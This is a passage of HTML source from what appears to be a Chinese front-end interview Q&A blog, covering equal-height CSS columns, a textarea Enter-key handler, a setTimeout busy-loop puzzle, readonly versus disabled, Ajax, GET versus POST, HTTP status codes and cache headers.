&#x65B9;&#x6CD5;&#x57FA;&#x4E8E;&#x4E00;&#x7EC4;&#x7279;&#x5B9A;&#x7684;&#x6839;&#x5143;&#x7D20;&#x5C06;&#x5904;&#x7406;&#x7A0B;&#x5E8F;&#x9644;&#x52A0;&#x5230;&#x5339;&#x914D;&#x9009;&#x62E9;&#x5668;&#x7684;&#x6240;&#x6709;&#x5143;&#x7D20;&#xFF08;&#x73B0;&#x6709;&#x7684;&#x6216;&#x5C06;&#x6765;&#x7684;&#xFF09;&#x7684;&#x4E00;&#x4E2A;&#x6216;&#x591A;&#x4E2A;&#x4E8B;&#x4EF6;&#x4E0A;&#x3002;  </p>
</blockquote>
<h2 id="&#x5982;&#x4F55;&#x4F18;&#x5316;&#x81EA;&#x5DF1;&#x7684;&#x4EE3;&#x7801;"><a href="#&#x5982;&#x4F55;&#x4F18;&#x5316;&#x81EA;&#x5DF1;&#x7684;&#x4EE3;&#x7801;" class="headerlink" title="&#x5982;&#x4F55;&#x4F18;&#x5316;&#x81EA;&#x5DF1;&#x7684;&#x4EE3;&#x7801;"></a>&#x5982;&#x4F55;&#x4F18;&#x5316;&#x81EA;&#x5DF1;&#x7684;&#x4EE3;&#x7801;</h2><blockquote>
<p>&#x4EE3;&#x7801;&#x91CD;&#x7528;<br>&#x907F;&#x514D;&#x5168;&#x5C40;&#x53D8;&#x91CF;&#xFF08;&#x547D;&#x540D;&#x7A7A;&#x95F4;&#xFF0C;&#x5C01;&#x95ED;&#x7A7A;&#x95F4;&#xFF0C;&#x6A21;&#x5757;&#x5316;mvc..&#xFF09;<br>&#x62C6;&#x5206;&#x51FD;&#x6570;&#x907F;&#x514D;&#x51FD;&#x6570;&#x8FC7;&#x4E8E;&#x81C3;&#x80BF;<br>&#x6CE8;&#x91CA;</p>
</blockquote>
<h2 id="&#x600E;&#x6837;&#x5B9E;&#x73B0;&#x4E24;&#x680F;&#x7B49;&#x9AD8;"><a href="#&#x600E;&#x6837;&#x5B9E;&#x73B0;&#x4E24;&#x680F;&#x7B49;&#x9AD8;" class="headerlink" title="&#x600E;&#x6837;&#x5B9E;&#x73B0;&#x4E24;&#x680F;&#x7B49;&#x9AD8;"></a>&#x600E;&#x6837;&#x5B9E;&#x73B0;&#x4E24;&#x680F;&#x7B49;&#x9AD8;</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;!DOCTYPE html&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">title</span>&gt;</span>Title<span class="tag">&lt;/<span class="name">title</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;container&quot;</span> <span class="attr">style</span>=<span class="string">&quot;display: table; width: 100%;&quot;</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;left&quot;</span> <span class="attr">style</span>=<span class="string">&quot;background-color: red; display: table-cell;&quot;</span>&gt;</span></div><div class="line">      &#x5185;&#x5BB9;<span class="tag">&lt;<span class="name">br</span>/&gt;</span></div><div class="line">      &#x5185;&#x5BB9;<span class="tag">&lt;<span class="name">br</span>/&gt;</span></div><div class="line">      &#x5185;&#x5BB9;<span class="tag">&lt;<span class="name">br</span>/&gt;</span></div><div class="line">      &#x5185;&#x5BB9;<span class="tag">&lt;<span class="name">br</span>/&gt;</span></div><div class="line">      &#x5185;&#x5BB9;<span class="tag">&lt;<span class="name">br</span>/&gt;</span></div><div class="line">      &#x5185;&#x5BB9;<span class="tag">&lt;<span class="name">br</span>/&gt;</span></div><div class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;display:table-cell;&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;right&quot;</span> <span class="attr">style</span>=<span class="string">&quot;background-color: blue;display: table-cell&quot;</span>&gt;</span></div><div class="line">        &#x5185;&#x5BB9;</div><div class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line">  <span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></div></pre></td></tr></table></figure>
<h2 id="&#x4F7F;&#x7528;js&#x5B9E;&#x73B0;&#x8FD9;&#x6837;&#x7684;&#x6548;&#x679C;"><a href="#&#x4F7F;&#x7528;js&#x5B9E;&#x73B0;&#x8FD9;&#x6837;&#x7684;&#x6548;&#x679C;" class="headerlink" title="&#x4F7F;&#x7528;js&#x5B9E;&#x73B0;&#x8FD9;&#x6837;&#x7684;&#x6548;&#x679C;"></a>&#x4F7F;&#x7528;js&#x5B9E;&#x73B0;&#x8FD9;&#x6837;&#x7684;&#x6548;&#x679C;</h2><p>&#x5728;&#x6587;&#x672C;&#x57DF;&#x91CC;&#x8F93;&#x5165;&#x6587;&#x5B57;&#x65F6;&#xFF0C;&#x5F53;&#x6309;&#x4E0B;enter&#x952E;&#x65F6;&#x4E0D;&#x6362;&#x884C;&#xFF0C;&#x800C;&#x662F;&#x66FF;&#x6362;&#x6210; <code>\{\{enter\}\}</code>, (&#x53EA;&#x9700;&#x8981;&#x8003;&#x8651;&#x5728;&#x884C;&#x5C3E;&#x6309;&#x4E0B;enter&#x952E;&#x7684;&#x60C5;&#x51B5;).</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">    <span class="function"><span class="keyword">function</span> <span class="title">back</span>(<span class="params">ele,event</span>)</span>{</div><div class="line">      event = event || <span class="built_in">window</span>.event;</div><div class="line">      <span class="keyword">if</span>(event.keyCode==<span class="number">13</span>){</div><div class="line">        event.returnValue = <span class="literal">false</span>;</div><div class="line">        ele.value+=<span class="string">&quot;{{enter}}&quot;</span></div><div class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</div><div class="line">      }</div><div class="line">    }</div><div class="line">  <span class="tag">&lt;/<span class="name">script</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">textarea</span> <span class="attr">rows</span>=<span class="string">&quot;3&quot;</span> <span class="attr">cols</span>=<span class="string">&quot;40&quot;</span> <span class="attr">id</span>=<span class="string">&quot;te&quot;</span> <span class="attr">onkeypress</span>=<span class="string">&quot;back(this,event);&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">textarea</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></div></pre></td></tr></table></figure>
<h2 id="&#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#x4E2D;end&#x5B57;&#x7B26;&#x4E32;&#x4EC0;&#x4E48;&#x65F6;&#x5019;&#x8F93;&#x51FA;"><a href="#&#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#x4E2D;end&#x5B57;&#x7B26;&#x4E32;&#x4EC0;&#x4E48;&#x65F6;&#x5019;&#x8F93;&#x51FA;" class="headerlink" title="&#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#x4E2D;end&#x5B57;&#x7B26;&#x4E32;&#x4EC0;&#x4E48;&#x65F6;&#x5019;&#x8F93;&#x51FA;"></a>&#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#x4E2D;end&#x5B57;&#x7B26;&#x4E32;&#x4EC0;&#x4E48;&#x65F6;&#x5019;&#x8F93;&#x51FA;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> t=<span class="literal">true</span>;</div><div class="line">setTimeout(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">  <span class="built_in">console</span>.log(<span class="number">123</span>);</div><div class="line">  t = <span class="literal">false</span>;</div><div class="line">}, <span class="number">1000</span>);</div><div class="line"><span class="keyword">while</span>(t){}</div><div class="line"><span class="built_in">console</span>.log(<span class="string">&apos;end&apos;</span>);</div></pre></td></tr></table></figure>
<blockquote>
<p>&#x7ED3;&#x679C;&#xFF1A;&#x6C38;&#x8FDC;&#x4E0D;&#x8F93;&#x51FA;</p>
</blockquote>
<h2 id="&#x5B9E;&#x73B0;specify&#x51FD;&#x6570;"><a href="#&#x5B9E;&#x73B0;specify&#x51FD;&#x6570;" class="headerlink" title="&#x5B9E;&#x73B0;specify&#x51FD;&#x6570;"></a>&#x5B9E;&#x73B0;specify&#x51FD;&#x6570;</h2><p><code>specify(&apos;hello,world&apos;) // =&gt;&apos;h,e,l,l,o,w,o,r,l,d&apos;</code> </p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">specify</span>(<span class="params">str</span>)</span>{</div><div class="line">  <span class="keyword">var</span> tempArray =  <span class="built_in">Array</span>.prototype.filter.call(str,<span class="function"><span class="keyword">function</span> (<span class="params">value, index, array</span>) </span>{</div><div class="line">      <span class="keyword">return</span> value &gt;= <span class="string">&apos;A&apos;</span> &amp;&amp;  value &lt;= <span class="string">&apos;z&apos;</span> &amp;&amp; value != <span class="string">&quot;_&quot;</span>;</div><div class="line">  });</div><div class="line">  <span class="keyword">return</span> tempArray.join(<span class="string">&quot;,&quot;</span>);</div><div class="line">}</div><div class="line"><span class="built_in">console</span>.log(specify(<span class="string">&quot;hedd____df*(%$#a !!!))))))llo,Wo@@@r        ld&quot;</span>)); <span class="comment">//h,e,l,l,o,W,o,r,l,d</span></div></pre></td></tr></table></figure>
<h2 id="&#x7B80;&#x8FF0;-readyonly-&#x4E0E;-disabled-&#x7684;&#x533A;&#x522B;"><a href="#&#x7B80;&#x8FF0;-readyonly-&#x4E0E;-disabled-&#x7684;&#x533A;&#x522B;" class="headerlink" title="&#x7B80;&#x8FF0; readyonly &#x4E0E; disabled &#x7684;&#x533A;&#x522B;"></a>&#x7B80;&#x8FF0; readyonly &#x4E0E; disabled &#x7684;&#x533A;&#x522B;</h2><p>ReadOnly &#x548C; Disabled&#x7684;&#x4F5C;&#x7528;&#x662F;&#x4F7F;&#x7528;&#x6237;&#x4E0D;&#x80FD;&#x591F;&#x66F4;&#x6539;&#x8868;&#x5355;&#x57DF;&#x4E2D;&#x7684;&#x5185;&#x5BB9;.</p>
<p>&#x4F46;&#x662F;&#x4E8C;&#x8005;&#x8FD8;&#x662F;&#x6709;&#x7740;&#x4E00;&#x4E9B;&#x533A;&#x522B;&#x7684;&#xFF1A;</p>
<p>1&#x3001;Readonly&#x53EA;&#x9488;&#x5BF9;input(text/password)&#x548C;textarea&#x6709;&#x6548;&#xFF0C;&#x800C;disabled&#x5BF9;&#x4E8E;&#x6240;&#x6709;&#x7684;&#x8868;&#x5355;&#x5143;&#x7D20;&#x6709;&#x6548;&#xFF0C;&#x5305;&#x62EC;select,radio,checkbox,button&#x7B49;&#x3002;</p>
<p>2&#x3001;&#x5728;&#x8868;&#x5355;&#x5143;&#x7D20;&#x4F7F;&#x7528;&#x4E86;disabled&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x8868;&#x5355;&#x4EE5;POST&#x6216;&#x8005;GET&#x7684;&#x65B9;&#x5F0F;&#x63D0;&#x4EA4;&#x7684;&#x8BDD;&#xFF0C;&#x8FD9;&#x4E2A;&#x5143;&#x7D20;&#x7684;&#x503C;&#x4E0D;&#x4F1A;&#x88AB;&#x4F20;&#x9012;&#x51FA;&#x53BB;&#xFF0C;&#x800C;readonly&#x4F1A;&#x5C06;&#x8BE5;&#x503C;&#x4F20;&#x9012;&#x51FA;&#x53BB;</p>
<h2 id="&#x89E3;&#x91CA;ajax&#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;"><a href="#&#x89E3;&#x91CA;ajax&#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;" class="headerlink" title="&#x89E3;&#x91CA;ajax&#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;"></a>&#x89E3;&#x91CA;ajax&#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;</h2><blockquote>
<p>Ajax&#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;&#x76F8;&#x5F53;&#x4E8E;&#x5728;&#x7528;&#x6237;&#x548C;&#x670D;&#x52A1;&#x5668;&#x4E4B;&#x95F4;&#x52A0;&#x4E86;&#x2014;&#x4E2A;&#x4E2D;&#x95F4;&#x5C42;&#xFF0C;&#x4F7F;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#x4E0E;&#x670D;&#x52A1;&#x5668;&#x54CD;&#x5E94;&#x5F02;&#x6B65;&#x5316;;<br>&#x8FD9;&#x6837;&#x628A;&#x4EE5;&#x524D;&#x7684;&#x4E00;&#x4E9B;&#x670D;&#x52A1;&#x5668;&#x8D1F;&#x62C5;&#x7684;&#x5DE5;&#x4F5C;&#x8F6C;&#x5AC1;&#x5230;&#x5BA2;&#x6237;&#x7AEF;&#xFF0C;&#x5229;&#x4E8E;&#x5BA2;&#x6237;&#x7AEF;&#x95F2;&#x7F6E;&#x7684;&#x5904;&#x7406;&#x80FD;&#x529B;&#x6765;&#x5904;&#x7406;;<br>&#x51CF;&#x8F7B;&#x670D;&#x52A1;&#x5668;&#x548C;&#x5E26;&#x5BBD;&#x7684;&#x8D1F;&#x62C5;&#xFF0C;&#x4ECE;&#x800C;&#x8FBE;&#x5230;&#x8282;&#x7EA6; ISP &#x7684;&#x7A7A;&#x95F4;&#x53CA;&#x5E26;&#x5BBD;&#x79DF;&#x7528;&#x6210;&#x672C;&#x7684;&#x76EE;&#x7684;&#x3002;<br>&#x7B80;&#x5355;&#x6765;&#x8BF4;&#x901A;&#x8FC7; XmlHttpRequest &#x5BF9;&#x8C61;&#x6765;&#x5411;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;<br>&#x4ECE;&#x670D;&#x52A1;&#x5668;&#x83B7;&#x5F97;&#x6570;&#x636E;<br>&#x7136;&#x540E;&#x7528;javascript&#x6765;&#x64CD;&#x4F5C;DOM&#x800C;&#x66F4;&#x65B0;&#x9875;&#x9762;</p>
</blockquote>
<p>&#x8FD9;&#x5176;&#x4E2D;&#x6700;&#x5173;&#x952E;&#x7684;&#x4E00;&#x6B65;&#x5C31;&#x662F;&#x4ECE;&#x670D;&#x52A1;&#x5668;&#x83B7;&#x5F97;&#x8BF7;&#x6C42;&#x6570;&#x636E;&#x3002;&#x8981;&#x6E05;&#x695A;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x548C;&#x539F;&#x7406;&#xFF0C;&#x6211;&#x4EEC;&#x5FC5;&#x987B;&#x5BF9; XMLHttpRequest&#x6709;&#x6240;&#x4E86;&#x89E3;&#x3002;</p>
<h2 id="&#x4E3A;&#x4EC0;&#x4E48;&#x6269;&#x5C55;javascript&#x5185;&#x7F6E;&#x5BF9;&#x8C61;&#x4E0D;&#x662F;&#x597D;&#x7684;&#x505A;&#x6CD5;&#xFF1F;"><a href="#&#x4E3A;&#x4EC0;&#x4E48;&#x6269;&#x5C55;javascript&#x5185;&#x7F6E;&#x5BF9;&#x8C61;&#x4E0D;&#x662F;&#x597D;&#x7684;&#x505A;&#x6CD5;&#xFF1F;" class="headerlink" title="&#x4E3A;&#x4EC0;&#x4E48;&#x6269;&#x5C55;javascript&#x5185;&#x7F6E;&#x5BF9;&#x8C61;&#x4E0D;&#x662F;&#x597D;&#x7684;&#x505A;&#x6CD5;&#xFF1F;"></a>&#x4E3A;&#x4EC0;&#x4E48;&#x6269;&#x5C55;javascript&#x5185;&#x7F6E;&#x5BF9;&#x8C61;&#x4E0D;&#x662F;&#x597D;&#x7684;&#x505A;&#x6CD5;&#xFF1F;</h2><p>&#x56E0;&#x4E3A;&#x4F60;&#x4E0D;&#x77E5;&#x9053;&#x54EA;&#x4E00;&#x5929;&#x6D4F;&#x89C8;&#x5668;&#x6216;javascript&#x672C;&#x8EAB;&#x5C31;&#x4F1A;&#x5B9E;&#x73B0;&#x8FD9;&#x4E2A;&#x65B9;&#x6CD5;&#xFF0C;&#x800C;&#x4E14;&#x548C;&#x4F60;&#x6269;&#x5C55;&#x7684;&#x5B9E;&#x73B0;&#x6709;&#x4E0D;&#x4E00;&#x81F4;&#x7684;&#x8868;&#x73B0;&#x3002;&#x5230;&#x65F6;&#x5019;&#x4F60;&#x7684;javascript&#x4EE3;&#x7801;&#x53EF;&#x80FD;&#x5DF2;&#x7ECF;&#x5728;&#x65E0;&#x6570;&#x4E2A;&#x9875;&#x9762;&#x4E2D;&#x6267;&#x884C;&#x4E86;&#x6570;&#x5E74;&#xFF0C;&#x800C;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x5B9E;&#x73B0;&#x5BFC;&#x81F4;&#x6240;&#x6709;&#x4F7F;&#x7528;&#x6269;&#x5C55;&#x539F;&#x578B;&#x7684;&#x4EE3;&#x7801;&#x90FD;&#x5D29;&#x6E83;&#x4E86;&#x3002;&#x3002;&#x3002;</p>
<h2 id="&#x4EC0;&#x4E48;&#x662F;&#x4E09;&#x5143;&#x8868;&#x8FBE;&#x5F0F;&#xFF1F;"><a href="#&#x4EC0;&#x4E48;&#x662F;&#x4E09;&#x5143;&#x8868;&#x8FBE;&#x5F0F;&#xFF1F;" class="headerlink" title="&#x4EC0;&#x4E48;&#x662F;&#x4E09;&#x5143;&#x8868;&#x8FBE;&#x5F0F;&#xFF1F;"></a>&#x4EC0;&#x4E48;&#x662F;&#x4E09;&#x5143;&#x8868;&#x8FBE;&#x5F0F;&#xFF1F;</h2><p>&#x4E09;&#x5143;&#x8FD0;&#x7B97;&#x7B26;:</p>
<p>&#x4E09;&#x5143;&#x5982;&#x540D;&#x5B57;&#x8868;&#x793A;&#x7684;&#x4E09;&#x5143;&#x8FD0;&#x7B97;&#x7B26;&#x9700;&#x8981;&#x4E09;&#x4E2A;&#x64CD;&#x4F5C;&#x6570;&#x3002;</p>
<blockquote>
<p>&#x8BED;&#x6CD5;&#x662F; <code>&#x6761;&#x4EF6; ? &#x7ED3;&#x679C;1 : &#x7ED3;&#x679C;2;</code>. </p>
</blockquote>
<p>&#x8FD9;&#x91CC;&#x4F60;&#x628A;&#x6761;&#x4EF6;&#x5199;&#x5728;&#x95EE;&#x53F7;(?)&#x7684;&#x524D;&#x9762;&#x540E;&#x9762;&#x8DDF;&#x7740;&#x7528;&#x5192;&#x53F7;(:)&#x5206;&#x9694;&#x7684;&#x7ED3;&#x679C;1&#x548C;&#x7ED3;&#x679C;2&#x3002;&#x6EE1;&#x8DB3;&#x6761;&#x4EF6;&#x65F6;&#x7ED3;&#x679C;1&#x5426;&#x5219;&#x7ED3;&#x679C;2&#x3002;</p>
<h2 id="HTTP&#x534F;&#x8BAE;&#x4E2D;&#xFF0C;GET&#x548C;POST&#x6709;&#x4EC0;&#x4E48;&#x533A;&#x522B;&#xFF1F;&#x5206;&#x522B;&#x9002;&#x7528;&#x4EC0;&#x4E48;&#x573A;&#x666F;-&#xFF1F;"><a href="#HTTP&#x534F;&#x8BAE;&#x4E2D;&#xFF0C;GET&#x548C;POST&#x6709;&#x4EC0;&#x4E48;&#x533A;&#x522B;&#xFF1F;&#x5206;&#x522B;&#x9002;&#x7528;&#x4EC0;&#x4E48;&#x573A;&#x666F;-&#xFF1F;" class="headerlink" title="HTTP&#x534F;&#x8BAE;&#x4E2D;&#xFF0C;GET&#x548C;POST&#x6709;&#x4EC0;&#x4E48;&#x533A;&#x522B;&#xFF1F;&#x5206;&#x522B;&#x9002;&#x7528;&#x4EC0;&#x4E48;&#x573A;&#x666F; &#xFF1F;"></a>HTTP&#x534F;&#x8BAE;&#x4E2D;&#xFF0C;GET&#x548C;POST&#x6709;&#x4EC0;&#x4E48;&#x533A;&#x522B;&#xFF1F;&#x5206;&#x522B;&#x9002;&#x7528;&#x4EC0;&#x4E48;&#x573A;&#x666F; &#xFF1F;</h2><ul>
<li>GET&#x6CA1;&#x6709;&#x8BF7;&#x6C42;&#x4E3B;&#x4F53;&#xFF0C;&#x4F7F;&#x7528;xhr.send(null)</li>
<li>GET&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5728;&#x8BF7;&#x6C42;URL&#x4E0A;&#x6DFB;&#x52A0;&#x8BF7;&#x6C42;&#x53C2;&#x6570;</li>
<li>POST&#x53EF;&#x4EE5;&#x901A;&#x8FC7;xhr.send(&#x2018;name=itcast&amp;age=10&#x2019;)</li>
<li>POST&#x9700;&#x8981;&#x8BBE;&#x7F6E;</li>
<li>GET&#x6548;&#x7387;&#x66F4;&#x597D;&#xFF08;&#x5E94;&#x7528;&#x591A;&#xFF09;</li>
<li>GET&#x5927;&#x5C0F;&#x9650;&#x5236;&#x7EA6;4K&#xFF0C;POST&#x5219;&#x6CA1;&#x6709;&#x9650;&#x5236;</li>
</ul>
<h2 id="HTTP&#x72B6;&#x6001;&#x6D88;&#x606F;200-302-304-403-404-500&#x5206;&#x522B;&#x8868;&#x793A;&#x4EC0;&#x4E48;"><a href="#HTTP&#x72B6;&#x6001;&#x6D88;&#x606F;200-302-304-403-404-500&#x5206;&#x522B;&#x8868;&#x793A;&#x4EC0;&#x4E48;" class="headerlink" title="HTTP&#x72B6;&#x6001;&#x6D88;&#x606F;200 302 304 403 404 500&#x5206;&#x522B;&#x8868;&#x793A;&#x4EC0;&#x4E48;"></a>HTTP&#x72B6;&#x6001;&#x6D88;&#x606F;200 302 304 403 404 500&#x5206;&#x522B;&#x8868;&#x793A;&#x4EC0;&#x4E48;</h2><ul>
<li>200 &#x4EE3;&#x8868;&#x6210;&#x529F;</li>
<li>304 &#x6587;&#x6863;&#x672A;&#x4FEE;&#x6539;</li>
<li>403 &#x6CA1;&#x6709;&#x6743;&#x9650;</li>
<li>404 &#x672A;&#x627E;&#x5230;</li>
<li>500 &#x670D;&#x52A1;&#x5668;&#x9519;&#x8BEF;</li>
</ul>
<h2 id="HTTP&#x534F;&#x8BAE;&#x4E2D;&#xFF0C;header-&#x4FE1;&#x606F;&#x91CC;&#x9762;&#xFF0C;&#x600E;&#x4E48;&#x63A7;&#x5236;&#x9875;&#x9762;&#x5931;&#x6548;&#x65F6;&#x95F4;&#xFF08;last-modified-cache-control-Expires&#x5206;&#x522B;&#x4EE3;&#x8868;&#x4EC0;&#x4E48;&#xFF09;"><a href="#HTTP&#x534F;&#x8BAE;&#x4E2D;&#xFF0C;header-&#x4FE1;&#x606F;&#x91CC;&#x9762;&#xFF0C;&#x600E;&#x4E48;&#x63A7;&#x5236;&#x9875;&#x9762;&#x5931;&#x6548;&#x65F6;&#x95F4;&#xFF08;last-modified-cache-control-Expires&#x5206;&#x522B;&#x4EE3;&#x8868;&#x4EC0;&#x4E48;&#xFF09;" class="headerlink" title="HTTP&#x534F;&#x8BAE;&#x4E2D;&#xFF0C;header &#x4FE1;&#x606F;&#x91CC;&#x9762;&#xFF0C;&#x600E;&#x4E48;&#x63A7;&#x5236;&#x9875;&#x9762;&#x5931;&#x6548;&#x65F6;&#x95F4;&#xFF08;last-modified, cache-control, Expires&#x5206;&#x522B;&#x4EE3;&#x8868;&#x4EC0;&#x4E48;&#xFF09;"></a>HTTP&#x534F;&#x8BAE;&#x4E2D;&#xFF0C;header &#x4FE1;&#x606F;&#x91CC;&#x9762;&#xFF0C;&#x600E;&#x4E48;&#x63A7;&#x5236;&#x9875;&#x9762;&#x5931;&#x6548;&#x65F6;&#x95F4;&#xFF08;last-modified, cache-control, Expires&#x5206;&#x522B;&#x4EE3;&#x8868;&#x4EC0;&#x4E48;&#xFF09;</h2><p>last-modified &#x6587;&#x6863;&#x7684;&#x6700;&#x540E;&#x6539;&#x52A8;&#x65F6;&#x95F4;&#x3002;</p>
<p>&#x5BA2;&#x6237;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; If-Modified-Since &#x8BF7;&#x6C42;&#x5934;&#x63D0;&#x4F9B;&#x4E00;&#x4E2A;&#x65E5;&#x671F;&#xFF0C;&#x8BE5;&#x8BF7;&#x6C42;&#x5C06;&#x88AB;&#x89C6;&#x4E3A;&#x4E00;&#x4E2A;&#x6761;&#x4EF6;GET&#xFF0C;&#x53EA;&#x6709;&#x6539;&#x52A8;&#x65F6;&#x95F4;&#x8FDF;&#x4E8E;&#x6307;&#x5B9A;&#x65F6;&#x95F4;&#x7684;&#x6587;&#x6863;&#x624D;&#x4F1A;&#x8FD4;&#x56DE;&#xFF0C;&#x5426;&#x5219;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;304&#xFF08;Not Modified&#xFF09;&#x72B6;&#x6001;&#x3002;<br>Last-Modified &#x4E5F;&#x53EF;&#x7528; setDateHeader &#x65B9;&#x6CD5;&#x6765;&#x8BBE;&#x7F6E;&#x3002;</p>
<p>cache-control &#x544A;&#x8BC9;&#x6240;&#x6709;&#x7684;&#x7F13;&#x5B58;&#x673A;&#x5236;&#x662F;&#x5426;&#x53EF;&#x4EE5;&#x7F13;&#x5B58;&#x53CA;&#x54EA;&#x79CD;&#x7C7B;&#x578B;</p>
<p>Expires &#x5E94;&#x8BE5;&#x5728;&#x4EC0;&#x4E48;&#x65F6;&#x5019;&#x8BA4;&#x4E3A;&#x6587;&#x6863;&#x5DF2;&#x7ECF;&#x8FC7;&#x671F;&#xFF0C;&#x4ECE;&#x800C;&#x4E0D;&#x518D;&#x7F13;&#x5B58;&#x5B83;&#xFF1F;</p>
<p><a href="http://blog.chinaunix.net/uid-7374279-id-4518834.html" target="_blank" rel="external">header&#x6807;&#x5934;&#x8BF4;&#x660E;</a></p>
<h2 id="&#x4E1A;&#x754C;&#x5E38;&#x7528;&#x7684;&#x4F18;&#x5316;-WEB-&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#x7684;&#x65B9;&#x6CD5;&#xFF08;&#x53EF;&#x4EE5;&#x5206;&#x522B;&#x4ECE;&#x9875;&#x9762;&#x5143;&#x7D20;&#x5C55;&#x73B0;&#xFF0C;&#x8BF7;&#x6C42;&#x8FDE;&#x63A5;&#xFF0C;css-js-&#x670D;&#x52A1;&#x5668;&#x7B49;&#x65B9;&#x9762;&#x4ECB;&#x7ECD;&#xFF09;"><a href="#&#x4E1A;&#x754C;&#x5E38;&#x7528;&#x7684;&#x4F18;&#x5316;-WEB-&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#x7684;&#x65B9;&#x6CD5;&#xFF08;&#x53EF;&#x4EE5;&#x5206;&#x522B;&#x4ECE;&#x9875;&#x9762;&#x5143;&#x7D20;&#x5C55;&#x73B0;&#xFF0C;&#x8BF7;&#x6C42;&#x8FDE;&#x63A5;&#xFF0C;css-js-&#x670D;&#x52A1;&#x5668;&#x7B49;&#x65B9;&#x9762;&#x4ECB;&#x7ECD;&#xFF09;" class="headerlink" title="&#x4E1A;&#x754C;&#x5E38;&#x7528;&#x7684;&#x4F18;&#x5316; WEB &#x9875;&#x9762;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#x7684;&#x65B9;&#x6CD5;&#xFF08;&#x53EF;&#x4EE5;&#x5206;&#x522B;&#x4ECE;&#x9875;&#x9762;&#x5143;&#x7D20;&#x5C55;&#x73B0;&#xFF0C;&#x8BF7;&#x6C42;&#x8FDE;&#x63A5;&#xFF0C;css,js,&#x670D;&#x52A1;&#x5668;&#x7B49;&#x65B9;&#x9762;&#x4ECB;&#x7ECD;&#xFF09;"></a>&#x4E1A;&#x754C;&#x5E38;&#x7528;&#x7684;&#x4F18;&#x5316; WEB 